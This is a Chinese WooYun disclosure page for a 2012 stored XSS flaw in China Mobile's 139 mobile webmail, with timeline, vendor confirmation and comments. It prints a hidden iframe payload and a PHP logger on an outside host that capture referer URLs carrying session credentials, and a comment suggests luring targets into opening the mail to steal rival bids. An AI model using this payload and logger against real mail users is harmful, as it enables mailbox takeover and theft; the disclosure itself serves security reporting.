当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-04414

漏洞标题：中国移动139手机邮箱XSS漏洞可导致用户邮箱被入侵进而引发各种门

相关厂商：中国移动

漏洞作者： pestu

提交时间：2012-02-11 12:39

修复时间：2012-03-27 12:40

公开时间：2012-03-27 12:40

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-02-11： 细节已通知厂商并且等待厂商处理中
2012-02-13： 厂商已经确认，细节仅向厂商公开
2012-02-23： 细节向核心白帽子及相关领域专家公开
2012-03-04： 细节向普通白帽子公开
2012-03-14： 细节向实习白帽子公开
2012-03-27： 细节向公众公开

简要描述：

漏洞成因:把邮件显示给用户时没有对关键字如script,onload,onerror等过滤而导致XSS漏洞
受影响的用户：用手机访问139手机邮箱的用户
漏洞危害:盗取用户的身份验证信息并访问用户的邮箱，由于139手机邮箱功能强大如：发短信、发彩信、手机网盘，所以一旦邮箱被入侵，将有可能导致各种门，各种商业信息被盗取。XSS漏洞的危害也和利用者的水平有关，比如本人就只能弹弹窗口什么的，各种猥琐的利用方法还有待学习。

详细说明：

有漏洞的是139手机邮箱,访问网址:http://wapmail.10086.cn

不少人认为XSS漏洞比较鸡肋，都是自己攻击自己玩。那我们来看看利用这个XSS漏洞能做什么.
思路：
通过发送一封含有恶意脚本的邮件至目标邮箱，用户打开邮件时触发恶意脚本。恶意脚本主要用来盗取客户的身份验证信息。原理可参考：http://www.inbreak.net/archives/171
攻击过程如下：
1发送含有恶意脚本的邮件至目标邮箱,邮件中包含以下脚本.

<iframe src=\"http://www.wooyun.org/getcookie.php\" width=0 height=0 frameborder=0></iframe>


http://www.wooyun.org/getcookie.php 用来获取访客来路信息，即包含手机用户的身份验证信息
代码如下:

<?php
$stime = date("Y年n月j日 H:i:s");
$handle = fopen("referer.html", "w");
fwrite($handle, $_SERVER['HTTP_USER_AGENT']."<BR>".$_SERVER['REMOTE_ADDR']."<BR>".$_SERVER['HTTP_REFERER']."<BR>"."update:".$stime."<br>");
?>


用手机收邮件:


阅读邮件:


看不出任何问题，但是我们的服务器上面已有有了身份验证信息了:


复制上面得到的网址到电脑或你自己的手机上


邮件列表:


邮箱首页:


完全控制目标邮箱，短信，彩信随便发，网盘随便看。。
基于以上分析，自评Rank 20。

漏洞证明：

来几个弹窗吧
iphone4 QQ浏览器


Android QQ浏览器


电脑上IE和FireFox的弹窗就不贴图了。
本次测试使用的是移动139手机邮箱的炫版，触屏版没有测试。

修复方案：

移动139邮箱网页版做得很好，对显示给用户的邮件做了处理，移动本身已经有了很好的方案。漏洞修复参考网页版即可

版权声明：转载请注明来源 pestu@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2012-02-13 10:46

厂商回复：

添加对漏洞的补充说明以及做出评价的理由

最新状态：

暂无

漏洞评价：

评论

  1. 2012-02-11 12:45 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    Great!

  2. 2012-02-11 13:07 | 歌颂 ( 实习白帽子 | Rank:36 漏洞数:5 | #1024)

    我喜欢各种门。。

  3. 2012-02-11 16:43 | pestu ( 普通白帽子 | Rank:170 漏洞数:13 | 关注计算机网络安全 lnmpa技术)

    iphone上面的触屏版稍微麻烦点，比炫版要多弄点东西--cookie.不过对于某些javascrip高手来说，这不是问题。

  4. 2012-02-13 08:55 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    呵呵，厉害呀，只是手机浏览器和电脑浏览器不一样吧，所以危害应该没你分析那么严重......

  5. 2012-02-13 09:22 | pestu ( 普通白帽子 | Rank:170 漏洞数:13 | 关注计算机网络安全 lnmpa技术)

    @wanglaojiu 要看你怎么用了，让目标用户用手机阅读邮件很容易吧？比如当你确定对方不方便用电脑查看邮件的时候，你声称发了一封很紧急的邮件让对方处理，而现在手机上网又很方便。比如有个项目，很多公司都报了价格到负责人的邮箱，当你想了解其他公司的报价的时候，后面你懂的。。

  6. 2012-02-13 10:53 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    邮件头里有客户端信息

  7. 2012-02-13 13:39 | wanglaojiu ( 普通白帽子 | Rank:168 漏洞数:39 | 道生一，一生二，二生三，三生万物，万物负...)

    139移动和网易是一个邮件服务器提供商，有兴趣你可以顺带测测网易是否也在该处存在XSS....

  8. 2012-09-24 18:36 | SnowLeopard ( 路人 | Rank:0 漏洞数:1 | http://)

    <iframe src=\"http://www.wooyun.org/getcookie.php\" width=0 height=0 frameborder=0></iframe>这个怎么利用。。太菜没看懂往哪插